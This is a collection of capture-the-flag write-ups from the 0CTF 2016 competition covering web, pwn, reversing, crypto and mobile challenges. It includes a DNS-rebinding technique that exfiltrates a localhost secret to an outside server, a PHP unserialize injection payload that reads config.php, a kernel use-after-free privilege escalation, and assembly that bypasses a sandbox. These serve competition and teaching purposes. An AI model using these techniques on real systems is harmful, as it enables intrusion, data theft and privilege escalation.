0CTF CTF 2016

Dragon Sector write-ups

Monkey (web 4) - solved and written up by valis

We were provided with a page that allows you to submit an url (with a proof of work) that the 'monkey' will browse to (and stay for 2 minutes). We also know that flag is located at the http://127.0.0.1:8080/secret, so it's not available from the internet - we have to use the 'monkey' to get it.

Our first attempt was to create following subdomains:

    local.mydomain.com 127.0.0.1
    mine.local.mydomain.com <myip>

then point the monkey to mine.local.mydomain.com which contained code changing document.domain to 'local.mydomain.com' to make it possible to access the flag from that domain.

Unfortunately it turned out that this doesn't work with custom ports, so we had to try something else.
The fact that the monkey will stay on the page whole 2 minutes suggested that DNS rebinding attack is possible.

We used our own DNS nameserver and set following record:
test.mydomain.com <myip>

with a TTL of 15 seconds.

Page at the test.mydomain.com had JS code to fetch http://test.mydomain.com:8080/secret using AJAX and send it to us, but it was set to execute after 1 minute of waiting.

After our page was accessed by the bot we quickly changed test.mydomain.com to 127.0.0.1 and after 1 minute the flag was submitted to our server.

rand_r (web 2) - solved and written up by valis

We were given a simple PHP script with source available.
It was generating 6 random numbers using a function, stored them in a session and then displayed to us first number with md5 hash of the other 5.
To get the flag we had to provide all 6 numbers to the script in 1 minute (after that our attempt expired and we had to start over).
rand() in PHP uses standard libc random() function.
It's relatively easy to bruteforce seed of that function, however it would take longer than one minute, so we had to do something else.
PHP seeds rand() by default with following formula:
(((long) (time(0) * getpid())) ^ ((long) (1000000.0 * php_combined_lcg(TSRMLS_C))))

We know the time (http header Date) and if we can guess the pid the seed range would be small enough to bruteforce in less than a second.
While we don't have exact pid number, they are usually limited to small enough number (standard pid_max setting is 32768).
Our approach was to try to bruteforcing the seed for each possible pid using untwister tool with a seed range calculated from time and given pid.
We also had to verify if the seed is correct by checking the md5 hash of 5 numbers generated from the seed.

Since PHP reuses seeds in existing mod_php processes this approach would work only if we got numbers from a fresh Apache child - we tried to ensure that by establishing ~20 keep-alive connections before doing the request to get the numbers.

Trying all possible pids took a lot longer than one minute, but once we found our first valid pid we could predict what range the next pid will be and greatly reduce the number of tries required. After 3-4 attempts we got quite close to the correct pid and found the right numbers in 9 seconds, giving us the flag.

piapiapia (web 6) - solved and written up by valis

In this task we were given a simple PHP web page with full sources (excluding config values).
Flag was located in config.php file, so we knew we had to get file reading capability.

After analyzing the source we found that there was a simple way to read any file if we could write arbitrary values into the profile field of the users table - field 'photo' contained filename that would be displayed on the profile.php page.

The application used a custom sql escape function, so we hoped to find a way to bypass it and get sql injection.
Unfortunately we were unable to do so, filter() function seemed quite effective in preventing sqli. Then we discovered that while that function prevents sql values from escaping the quotes, it also changes it contents and this could be a way to affect serialized PHP data without sql injection.
To be specific one of the keyword replacements was: 'where' to 'hacker', which changed the length of the string. This makes a big difference because PHP serialization format uses length-prefixed strings.
We can increase the length of the actual string while length prefix stays the same - that way unserialize() will look for a next field definition inside our user-controlled string which gives us full ability to create our own fields - in this case fake 'photo' field.
Our final payload for the 'nickname' field that we used for attack:
where";}s:5:"photo";s:10:"config.php";}

After posting it to update profile page all we had to do was visit profile.php page to get base64-encoded flag.

(*￣3)(ε￣*) (pwn 8) - solved and written up by valis

This challenge consisted of an ip/port combination we could connect to and a tar file.
After connecting to the given port we got a linux shell for a non-root account with only basic commands provided by busybox.
Challenge description said that we had to read flag from /root so it was clear we had to escalate privileges somehow.

In the provided tar we found all files needed to fully recreate remote environment - qemu launch script, kernel image and initramfs image containing file system.
Kernel was a custom compile of 3.18.27 with a small main.ko module that was our target.
After spending some time on reversing it we understood that it provides a set of functions related to the process list. All functions we provided through ioctl interface on a custom character device.

When this device was opened, current process list was saved to memory for later use by ioctls. There were following ioctl functions available:

1. Get task list
2. Refresh stored processes list
3. Get task's credentials (uid, gid, etc)
4. Get process name
5. Store arbitrary user data
6. Get previously stored user data.

functions 3-6 took pid argument to select the task to be operated on.

The vulnerability was in the refresh function. When it encountered a task on its list that didn't exist anymore in the system it freed its entry's memory, but did not clear the pointer from the list - the use-after-free vulnerability.

Fortunately function 6 (store user data) allocated memory from the same kmalloc() pool and we had full control of the allocation size, so we could easily allocate memory still associated with no longer existing process as user data of a different process, giving us full read/write control of that structure.

The task entry struct contained a pointer to creds kernel structure (copied from task_struct when device was open), as it was used for function 3. This provided us with a way to leak an address of the memory that we wanted to overwrite to escalate our privileges.
To do that we first had to use the fact that module's task list was limited to 1440 entries - all pids were handled modulo that number - that allowed us to create a new child with pid=pid_of_removed_task+1440 and recreate pointers that were cleared after allocating user memory.

Then we had to create an intermediate struct with credentials struct address and length, used by user data handling, preparing to be able to overwrite credentials.

Finally we used "store user data" function to write zeroes to the whole credentials structure, giving us root privileges.

Some details were omitted to simplify above description. Full exploit:
https://gist.github.com/anonymous/83f96600c5ae851940d6

xor painter (misc 4) - solved by keidii/redford/j00ru and written up by j00ru

Noticed that the xorlist file was a list of a, b, c, d numbers, where b>=a and d>=c. Considering the name and description of the task, we assumed that they could be x1, x2, y1, y2 coordinates of rectangles, which needed to be xored against on a 2d surface in order to read the flag.

To perform the xoring efficiently, we used an optimized algorithm which runs in O(N * H) time, where N is the number of rectangles (around 13 million) and H is the height of the surface (16384), instead of O(N * H * W). This allowed us to simulate the xoring of all rectangles in under one minute, by running the following C++ program:

```
#include <windows.h>
#include <assert.h>
#include <cstdio>
using namespace std;

bool map[16385][16385];
unsigned char row[16384];

int main(int argc, char **argv) {
  FILE *f = fopen("xorlist", "r");
  char buffer[256];

  int i = 0;
  while (fgets(buffer, sizeof(buffer), f)) {
    int x1, x2, y1, y2;
    sscanf(buffer, "%d, %d, %d, %d", &x1, &x2, &y1, &y2);

    assert(x2 > x1);
    assert(y2 > y1);

    x2--;
    y2--;

    for (int yy = y1; yy <= y2; yy++) {
          map[x1][yy] ^= 1;
    }
    for (int yy = y1; yy <= y2; yy++) {
          map[x2 + 1][yy] ^= 1;
    }

    if ((i++ & 0xfff) == 0) {
          printf("%d\n", i);
    }
  }

  fclose(f);

  f = fopen("result.raw", "w+b");

  for (int yy = 0; yy < 16384; yy++) {
    int val = 0;
    for (int xx = 0; xx < 16384; xx++) {
          val ^= map[xx][yy];
          row[xx] = val > 0 ? 0 : 0xff;
    }
    fwrite(row, 1, 16384, f);
  }

  fclose(f);
  return 0;
}
```

After opening the result.raw file as a raw 16384x16384x8bpp bitmap (using IrfanView), we were able to read the individual letters making up the final flag: `0ctf{5m@LL_fL@g_#n_BiG_Bitmap}`.

momo (re 3) - solved and written up by gynvael/j00ru

Note: this challenge was solved in parallel by gynvael & j00ru, who frequently exchanged information and tools, and in the end both reached the flags about 3 minutes apart; both ways are described below

j00ru's way: notice that the program is compiled with M/o/Vfuscator2 (which I remembered from last year's REcon conference). Figure out which flags were used to compile the task (debug IDs enabled, external calls implemented with jumps etc). Compile a test program myself to see what the result would look like, and how long it would be.

By analyzing the flow of the challenge and accesses to the buffer where input was loaded, I noticed that its length should be 28 bytes, most likely starting with "0ctf{" and ending with "}". I then moved most of the names of static variables and arrays from my test program into the task executable, thus being able to understand better what it did. Letter by letter, I reverse engineered the binary and the arithmetic/bit operations that were performed on the characters, recovering them one by one, and finishing with the full flag at the end.

I later discovered that the challenge was also accepting random flags, 1 of 200-300 on average. I'm not sure about the reason of this behavior.

gynvael's way: I've implemented a [small x86 emulator](#) (limited to `mov` and a few other instructions) to have a fine degree control and insight into the execution flow of the binary. Next I've tried a few side-channel ways to solve it, the most successful of which was generating full trace-dumps (with x86 registers) for running momo with password length ranging from 1 to 64 letters, and then running `diff trace_1 trace_N` for N from 2 to 64, and checking the sizes of the diffs; the sizes grew with increasing N's and stabilized at the 28 character boundary, which hinted at the length of the flag.

I've tried some more side-channel attempts with no success, and finally (after receiving symbols from j00ru) I've implemented a version of the emulator which dumped the MoVfuscator's VMs registers (R0, R1, R2, R3) after each VM opcode (detected by changing debug IDs). This allowed me to clearly observe how the values of each character of the password were transformed. By registry content's it was easy to figure out the operation of each transformation, and, assuming the target was in each case to reach the final value of 0x00000000, derive the correct character at a given position. E.g. a snippet of emulator's dump for password "ABCDEF" with focus on character "A":

```
CALLED: printf("password: ")
...
CALLED: fgets(0x85fe948, 64, 0x0) - feeding "ABCDEF"
...
CALLED: strlen("ABCDEF\n") - returning 7
...
cc00008f: ON{ 00000001 }  R{ 00000041 00000002 00000039 00000009 }
...
cc000095: ON{ 00000001 }  R{ 0000004a 00000002 00000039 00000009 }
...
cc00009c: ON{ 00000001 }  R{ 00000073 00000002 00000039 00000009 }
```

Given this output it's easy to figure out that `00000041` + `00000009` = `0000004a` (which is the first transformation), and then that `0000004a` ^ `00000039` = `00000073` (which is the second transformation). Assuming that the desired result is supposed to be zero, and both 9 and 0x39 are constant, one arrived at the formula `char = 0x39 - 9 → 0x30 → '0'` (what matches '0ctf{' flag prefix).

I've made similar observations and computations for all characters, eventually arriving at the following flag:
ctf{m0V_I5_tUr1N9_c0P1Et3!}

Entering this flag resulted in zeroes in all registers which we assumed must be zeroed and in:
`CALLED: puts("Congratulations!")`

boomshakalaka (mobile 3) - solved by keidii and written up by keidii

Starting point: android .apk file. After decompilation, we see that 90% of code is in **libcocos2dcpp.so** binary file (*libcocos2dcpp.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, stripped*). Task description lead to "HighestScore". Application was installed on android device, after running there is a file created: **data/com.example.plane/shared_prefs/Cocos2dxPrefsFile.xml**. It contains Base64 string and score value. Decrypted string shows the begining part of the flag, repeated few times, and some non-ascii values:

```
# echo
'MGN0ZntDMGNvUzJkX0FuRHJvMWb1dz99ZntDMGNvUzJkX0FuRHJvMWdz99ZntDMGNvUzJkX0FuRHJvMGN0ZntDMGNvUzJkX0FuRHJv
MWdz99MGN0ZntDMGNvUzJkX0FuRHJvMWdz99==' | base64 -d |xxd
0000000: 3063 7466 7b43 3063 6f53 3264 5f41 6e44  0ctf{C0coS2d_AnD
0000010: 726f 3166 f577 3f7d 667b 4330 636f 5332  ro1f.w?}f{C0coS2
0000020: 645f 416e 4472 6f31 6773 f7d6 67b4 3306  d_AnDro1gs..g.3.
0000030: 36f5 3326 45f4 16e4 4726 f306 3746 67b4  6.3&E...G&..7Fg.
0000040: 3306 36f5 3326 45f4 16e4 4726 f316 773f  3.6.3&E...G&..w?
0000050: 7d30 6374 667b 4330 636f 5332 645f 416e  }0ctf{C0coS2d_An
0000060: 4472 6f31 6773 f7                        Dro1gs.
```

After closer look on .so file in disassembler, it is visible that Base64 string is build from 2-chars chunk scattered all over the application code.

Final part depends on user score value in **ControlLayer::UpdateScore()** function. After joining all B64 string parts in right order (and decoding) flag is present. <EOF>

sandbox (pwn 5) - solved by mak and jagger

The sandboxer checks for whether a path passed to open() equals to `/home/warmup/flag`. It performs that with `process_vm_readv()`.

Under x86, there's no WRONLY memory page attribute, so it's possible to pass a path inside a WR/ONLY (PROT_WRITE) memory page to the open syscall, and it'll work. But with process_vm_readv() the Linux kernel checks memory attributes of the vma structures, and in case it's not readable (only PROT_WRITE), the syscall fails with EFAULT.

```
process_vm_readv(24060, [{"/", 1}], 1, [{0x60000ffe, 1}], 1, 0) = 1
process_vm_readv(24060, [{"h", 1}], 1, [{0x60000fff, 1}], 1, 0) = 1
process_vm_readv(24060, 0x7ffdd24fb240, 1, 0x7ffdd24fb250, 1, 0) = -1 EFAULT (Bad address)
```

Therefore it's enough to put the path partially in RDWR and partially in WRONLY pages, and call `open(path="/home/sandbox/flag", 0)`. In the example below, process_vm_readv() reads "/h" only, and the realpath("/h") fails, allowing for the syscall to proceed.

```
    .global _start
_start:
; mmap(0x60000000, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    mov     $90,%eax
    push    $0x0
    push    $0xFFFFFFFF
    push    $0x32
    push    $0x3
    push    $0x1000
    push    $0x60000000
    mov     %esp, %ebx
    int     $0x80

; mmap(0x60000000, 0x1000, PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    mov     $90,%eax
    push    $0x0
    push    $0xFFFFFFFF
    push    $0x32
    push    $0x2
    push    $0x1000
    push    $0x60001000
    mov     %esp, %ebx
    int     $0x80

    movb    $'/',(0x60000FFE)
    movb    $'h',(0x60000FFF)

    movb    $'o',(0x60001000)
    movb    $'m',(0x60001001)
    movb    $'e',(0x60001002)
    movb    $'/',(0x60001003)
    movb    $'s',(0x60001004)
    movb    $'a',(0x60001005)
    movb    $'n',(0x60001006)
    movb    $'d',(0x60001007)
    movb    $'b',(0x60001008)
    movb    $'o',(0x60001009)
    movb    $'x',(0x6000100A)
    movb    $'/',(0x6000100B)
    movb    $'f',(0x6000100C)
    movb    $'l',(0x6000100D)
    movb    $'a',(0x6000100E)
    movb    $'g',(0x6000100F)
    movb    $0,  (0x60001010)

; open(path="/home/sandbox/flag", O_RDONLY);
    mov     $5, %eax
    mov     $0x60000FFE, %ebx
    mov     $0, %ecx
    int     $0x80

; read(fd, 0x60000000, 100);
    mov     %eax,%ebx
    mov     $3, %eax
    mov     $0x60000000, %ecx
    mov     $100, %edx
    int     $0x80

; write(1, 0x60000000, 100);
    mov     $4, %eax
    mov     $1, %ebx
    mov     $0x60000000, %ecx
    mov     $100, %edx
```

equation (crypto 3) - solved by adami

Do OCR on image file, analyze ASN.1 to retrieve dp,dq
Use Prime Candidate Recovery Algorithm from https://eprint.iacr.org/2004/147.pdf
Retrieve p,q using e=65537, decode message

trace (re 4) - solved and written up by redford

I started solving this challenge by reconstructing original code from the trace log. To do that I used simple Python script that mapped addresses to instructions and then printed them, sorting by addresses. After this step, I analyzed the code manually and found that it comprises four functions: *strlen*, *strcpy*, *quicksort* and *main*.

The first step of *main* was running *strlen* on the flag. Quick look at the trace log revealed, that address `004007ac`, which corresponded to incrementation of string size counter, was reached 26 times during this call. This meant that the flag had 26 characters. The next steps in *main* concatenated `abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}` with the flag, sorted the whole buffer and then counted neighboring characters that differed with each other. From the execution of the last loop I managed to extract characters which composed the flag (using a simple Python script, which counted at which positions the differences were found). As a result, I received following characters: `0111355555699cfkllmrrstt{}`.

At this step I knew the buffer content at the end of the quicksort algorithm. The last step I needed to make was to reverse the quicksort algorithm. I did that by going through its execution and jotting down all swap operations it did. After that, I executed them in reverse order and recovered the flag: `0ctf{tr135m1k5l96551s9l5r}`.

The whole code which solves the challenge (Python 2.7):

```
from collections import OrderedDict
import string

with open('../trace.log', 'r') as f:
      lines = f.readlines()

lines = [line[6:] for line in lines]

addrs = set()
labeled_addrs = set()
addrs_to_instr = OrderedDict()
parsed_lines = []

# parse input
for line in lines:
      addr = int(line[:8], 16)
      cmd = line[8:].strip()
      parsed_lines.append((addr, cmd))
      addrs.add(addr)
      if addr not in addrs_to_instr:
            addrs_to_instr[addr] = cmd
      else:
            assert addrs_to_instr[addr] == cmd

addrs_to_instr = [(addr, addrs_to_instr[addr]) for addr in addrs_to_instr]
addrs_to_instr.sort()

for addr,cmd in addrs_to_instr:
      for addr2 in addrs:
            if '%06x' % addr2 in cmd:
                  labeled_addrs.add(addr2)

# print reconstructed assembly
prev_addr = addrs_to_instr[0][0]-4
for (addr,cmd) in addrs_to_instr:
      while prev_addr+4 < addr:
            print '\t\t\t\t\t???'
            prev_addr += 4
      if addr in labeled_addrs:
            print '0x%06x:' % addr
      print '%s' % (cmd)
```

```python
    prev_addr = addr

alpha = ''.join(sorted(string.ascii_lowercase + string.ascii_uppercase + string.digits + '{}'))

# find flag charset
loop7_start = 0x00400bd4
loop7_noteq = 0x00400bc0
last_hit = 0
i = 0
alpha_it = 0
flag_chars = ''
for addr, cmd in parsed_lines:
    if addr == loop7_start or addr == loop7_noteq:
        if addr == loop7_start:
            if last_hit == loop7_start:
                print '%d: eq' % i
                i += 1
            elif last_hit == loop7_noteq:
                print '%d: noteq' % i
                i += 1
            if last_hit == loop7_noteq:
                alpha_it += 1
            elif last_hit == loop7_start:
                flag_chars += alpha[alpha_it]
        last_hit = addr

print flag_chars, len(flag_chars)
# flag_chars: 0111355555699cfkllmrrstt{}

qs_start = 0x00400858
qs_ret = 0x004009cc
qs_loop_entry = 0x0040092c
qs_swap = 0x004008cc
qs_inc_i = 0x400920
qs_after_loop = 0x00400990

output = sorted(string.ascii_lowercase + string.ascii_uppercase + string.digits + '{}' + flag_chars)

# redo quicksort swaps
qs_args = [(0, len(output))]
pos = 0
size = 0
i = 1
j = 1
lvl = -1
swaps = []
for addr, cmd in parsed_lines:
    if addr == qs_start:
        (pos, size) = qs_args[0]
        lvl += 1
        print ' '*lvl + 'qs(%d, %d)' % (pos, size)
        qs_args = qs_args[1:]
        j = 1
        i = 1
    if addr == qs_inc_i:
        i += 1
    if addr == qs_swap:
        swaps.append((pos+i, pos+j))
        j += 1
    if addr == qs_after_loop:
        swaps.append((pos, pos+j-1))
        qs_args = [(pos, j-1), (pos+j, size-j)] + qs_args
    if addr == qs_ret:
        lvl -= 1

for (a,b) in swaps[::-1]:
    tmp = output[a]
    output[a] = output[b]
    output[b] = tmp
```

```
print ''.join(output[len(alpha):])
```

RSA? (crypto 2) - solved and written up by redford

Solution:

1. Extract modulus from *public.pem*: `openssl rsa -pubin -in public.pem -text`, result:
   `mod = 0x2CAA9C09DC1061E507E5B7F39DDE3455FCFE127A2C69B621C83FD9D3D3EAA3AAC42147CD7188C53`
   `e = 3`
2. Factorize it using *factordb.com*, results:
   `p1 = 26440615366395242196516853423447`
   `p2 = 27038194053540661979045656526063`
   `p3 = 32581479300404876772405716877547`
3. Extract encrypted flag from *flag.enc* (it's a plain number in big endian):
   `enc = 0x004C4162A07A0111B8344C68B118BD054ACBC38C3131B6A8999C91D1B3E2D82DC7C3A1E1034FD604`
4. Find out that `gcd(e, phi(mod)) != 1`
5. Idea: split congruence `flag**3 % mod == enc` into three congruences:
   `flag**3 % p1 == enc % p1`
   `flag**3 % p2 == enc % p2`
   `flag**3 % p3 == enc % p3`
6. Solve them using wolfram alpha (or using modified Tonelli-Shanks algorithm). The first and the third congruence has three solutions, the second has only one.
7. For every combination of solutions, mix them using Chinese Remainder Theorem.
8. Print the numbers as ascii, grab the flag: `0ctf{HahA!Thi5_1s_n0T_rSa~}`

warmup (pwn 2) - solved and written up by mak

Exploit: lokalhost.pl/ctf/0ctf2016/warmup.py

Small overflow in sandboxed binary, repeatedly return to _start to spam stack with arguments to syscalls
Flag: `0ctf{welcome_it_is_pwning_time}`

0pm (misc 3) - solved and written up by mak

Look at png with stegsolve, extract embedded zip, unpack it got a file
with name `STMFD SP!, {R11,LR}` with following data,

```
$ cat STMFD\ SP\!\,\ \{R11\,LR\} | head
aa109c60 e92d4800
aa109c64 e28db004
aa109c68 e24dd018
aa109c6c e50b0010
```

Assume first column is address an second is a code in hex, disassemble
Throw it in IDA, decompile - write z3 script to solve it.
Script: lokalhost.pl/ctf/0ctf2016/opm.py

```
$ python2 ~/www/ctf/0ctf2016/opm.py
sat
Tr4c1Ng_F0R_FuN!
```

Flag: `0ctf{Tr4c1Ng_F0R_FuN!}`

State of the ART (mobile 5) - solved and written up by szwl

The challenge consists of three files:

- A - /proc/self/map of a process
- B - oatdump output of an oat file
- C - probably boot.oat of the platform

A and C were probably necessary to find out what classes and functions are being called but I had no idea how to calculate this.
In B file I noticed only one custom class: oat.sjl.gossip.oat.MainActivity it has a few functions but one was more interesting than the others: check(java.lang.String) - mainly because the dex code was deleted on purpose. This challenge was about reversing the arm assembly of check() produced by an ART compiler.

First we have 6 array allocations eg:

```
0x00371e94: f8d9e11c    ldr.w    lr, [r9, #284]  ; pAllocArrayResolved
0x00371e98: 9900        ldr      r1, [sp, #0]
0x00371e9a: 2606        movs     r6, #6
0x00371e9c: 1c32        mov      r2, r6
0x00371e9e: f64e0020    movw     r0, #59424
```

```
0x00371ea2: f2c7005b   movt    r0, #28763
0x00371ea6: 47f0       blx     lr
suspend point dex PC: 0x0001
GC map objects:  v16 ([sp + #132]), v17 ([sp + #136])
0x00371ea8: f8d9e190   ldr.w   lr, [r9, #400]  ; pHandleFillArrayData
0x00371eac: 4682       mov     r10, r0
0x00371eae: 4650       mov     r0, r10
0x00371eb0: f20f6144   adr     r1, +1604 (0x003724f8)
0x00371eb4: 47f0       blx     lr
```

Few details: arrays is of length 6, its type is specified by movw, movt and the content is at 0x003724f8. Lets look at the content:

```
0x003724f8: 0300       lsls    r0, r0, #12    ←--- strange stuff array header?
0x003724fa: 0001       lsls    r1, r0, #0      ←-- object size in bytes
0x003724fc: 0006       lsls    r6, r0, #0      ←-- length
0x003724fe: 0000       lsls    r0, r0, #0      ←-- nothing
0x00372500: 4578       cmp     r0, pc         ←- stuff starts
0x00372502: 3278       adds    r2, #120
0x00372504: 3757       adds    r7, #87
```

Then we have various operations on the arrays, creating string buffers, strings etc. How did I found out the methods and classes?

Example java call:

```
0x00372352: f24a7e81   movw    lr, #42881     ←-- method address/index
0x00372356: f2c72ea0   movt    lr, #29344      ←-- method address/index
0x0037235a: f2455048   movw    r0, #21832     ←-- class address/index
0x0037235e: f2c70044   movt    r0, #28740       ←-- class address/index?
0x00372362: 4641       mov     r1, r8        ←- args (this, int, int)
0x00372364: 2202       movs    r2, #2
0x00372366: 2307       movs    r3, #7
0x00372368: 47f0       blx     lr //java.lang.String java.lang.String.substring(int, int)
```

I just grepped the B file for other usages of the class and method, and compared arm with the dex code (which is pretty self explanatory :))
After some reversing, array-bounds-checking-code cleanup I had the following groovy code:

```
public static byte[] hexStringToByteArray(String s) {
    int len = s.length();
    byte[] data = new byte[len / 2];
    for (int i = 0; i < len; i += 2) {
        data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
                             + Character.digit(s.charAt(i+1), 16));
    }
    return data;
}
def r7 = hexStringToByteArray("222944556033")
def sp56 = hexStringToByteArray("1794350390")
def r10 = hexStringToByteArray("784578325737")
def sp60 = hexStringToByteArray("45645f4152547d")
def sp52 = hexStringToByteArray("690c1bbef249")
def r11 = hexStringToByteArray("58751bf00f4c")

int r5 = 0
byte a
def r6
def r8
while(r5 != 6){
    a = r7[r5];
    a+=54
    a &= (1<<8)-1
    r7[r5] = a

     r6 = r7[r5]
     r8 = sp52[r5]
    r6 = r6 ^ r8
    r6 &= (1<<8) -1
    r7[r5] = r6
    println r6
    r5++
}

r5 = 0
while(r5 != 6){
    r6 = r10[r5]

    if(r6 == 87){
        r10[r5] = 105;
    }
    if(r6 == 50){
        r10[r5] = 132
    }

    r6 = r10[r5]
    r8 = r11[r5]
```

```
    r6 = r6 ^ r8
    r6 &= (1<<8) -1
    r10[r5]  = r6

    r5++
}
byte[] sp40 = new byte[12];
java.lang.System.arraycopy(r10, 0, sp40, 0, 6)
java.lang.System.arraycopy(r7, 0, sp40, 6, 6)

sp56[4] = sp56[4] - 49;
sp56[3] = sp56[3] + 47;
sp56[2] = sp56[2] + 42;
sp56[1] = sp56[1] - 34 ;
sp56[0] = sp56[0] + 46 ;

r6 = new String(sp56); println r6
def sp72 = new StringBuilder(r6)
def sp76 = sp72.reverse()

r6 = new StringBuilder()
r8 = new String(sp40)
r8 = r8.replace('S','e').replace('d','n').toLowerCase()
r6.append(r8).append(sp76)

r8 = new String(sp60).substring(2,7)
r6.append(r8)
println r6.toString()
```

Dirty but working ;)